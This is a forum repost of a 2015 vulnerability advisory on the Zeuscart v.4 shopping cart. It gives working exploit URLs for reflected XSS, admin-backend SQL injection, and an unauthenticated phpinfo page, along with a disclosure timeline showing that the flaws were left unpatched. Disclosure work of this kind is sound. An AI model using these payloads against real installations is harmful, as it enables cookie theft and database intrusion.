Aerosol Posted February 23, 2015 Report Posted February 23, 2015 Advisory: Multiple reflecting XSS-, SQLi andInformationDisclosure-vulnerabilities in Zeuscart v.4Advisory ID: SROEADV-2015-12Author: Steffen RösemannAffected Software: Zeuscart v.4Vendor URL: http://zeuscart.com/Vendor Status: pendingCVE-ID: will asked to be assigned after release on FullDisclosure viaOSS-listSoftware used for research: Mac OS X 10.10, Firefox 35.0.1==========================Vulnerability Description:==========================ECommerce-Shopping Cart Zeuscart v. 4 suffers from multiple XSS-, SQLi- andInformationDisclosure-vulnerabilities.==================Technical Details:======================XSS===Reflecting XSS-vulnerabilities can be found in a commonZeuscart-installation in the following locations and could be exploited forexample by crafting a link and make a registered user click on that link.The parameter "search", which is used in the index.php is vulnerable toXSS-attacks.Exploit-Example:http://{TARGET}/index.php?do=search&search=%22%3E%3Cbody%20onload=eval%28alert%28document.cookie%29%29%20%3E%3C!--By appending arbitrary HTML- and/or JavaScript-code to the parameter"schltr" which is as well used in index.php, an attacker could exploit thisXSS-vulnerable parameter:Exploit-Example:http://{TARGET}/index.php?do=brands&schltr=All%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3EThe third XSS-vulnerability can be found in the "brand"-parameter, which isagain used in index.php.Exploit-Example:http://{TARGET}/index.php?do=viewbrands&brand=Bata%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E====SQLi====The SQL injection-vulnerabilities can be found in the administrativebackend of Zeuscart v. 4 and reside in the following locations in a commoninstallation.By appending arbitrary SQL statements to the "id"-parameter, an attackercould exploit this SQL injection vulnerability:Exploit-Example:http://{TARGET}/admin/?do=disporders&action=detail&id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,database%28%29,34,35,version%28%29,37,38+--+Another SQL injection vulnerability can be found here and can be exploitedby appending SQL statements to the vulnerable "cid"-parameter:Exploit-Example:http://{TARGET}/admin/?do=editcurrency&cid=1+and+1=2+union+select+1,database%28%29,3,version%28%29,5+--+The last SQL injection vulnerability I found can be found in the followinglocation and can be exploited by appending SQL statements to the vulnerable"id" parameter:http://{TARGET}/admin/?do=subadminmgt&action=edit&id=1+and+1=2+union+select+1,version%28%29,3,database%28%29,5+--+==============Information Disclosure==============The administrative backend of Zeuscart v. 4 allows the admin to use afunctionality, which displays the PHP-installation settings via phpinfo():http://{TARGET}/admin/?do=getphpinfoUnfortunately, the PHP-script does not check, if an authorized adminexecutes this functionality: It is possible even for unregistered users torequest the above link to see the informations, phpinfo() displays. Thatcould expose sensitive informations to an attacker which could lead tofurther exploitation.=========Solution:=========Vendor has been notified. After releasing a patch, which seems not tocorrect the issues, the vendor decided not to respond anymore to figure outa solution together. Currently, there is no patch available to secureZeuscart-installations.====================Disclosure Timeline:====================21-Jan-2015 – found the vulnerabilities21-Jan-2015 - informed the developers (see [3])21-Jan-2015 – release date of this security advisory [without technicaldetails]21-Jan-2015 – fork of the repository to keep the vulnerable versionavailable for other researchers (see [5])22-Jan-2015 - vendor responded, provided detailed information04-Feb-2015 - vendor patches Bin/Core/Assembler.php; vulnerabilities arestill exploitable, which has been reported to the vendor (see [3])19-Feb-2015 - asked the vendor again, if he will patch these issues (see[3]); vendor did not respond21-Feb-2015 - release date of this security advisory21-Feb-2015 - send to FullDisclosure========Credits:========Vulnerabilities found and advisory written by Steffen Rösemann.===========References:===========[1] http://zeuscart.com/[2] https://github.com/ZeusCart/zeuscart[3] https://github.com/ZeusCart/zeuscart/issues/28[4] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-12.html[5] https://github.com/sroesemann/zeuscartSource Quote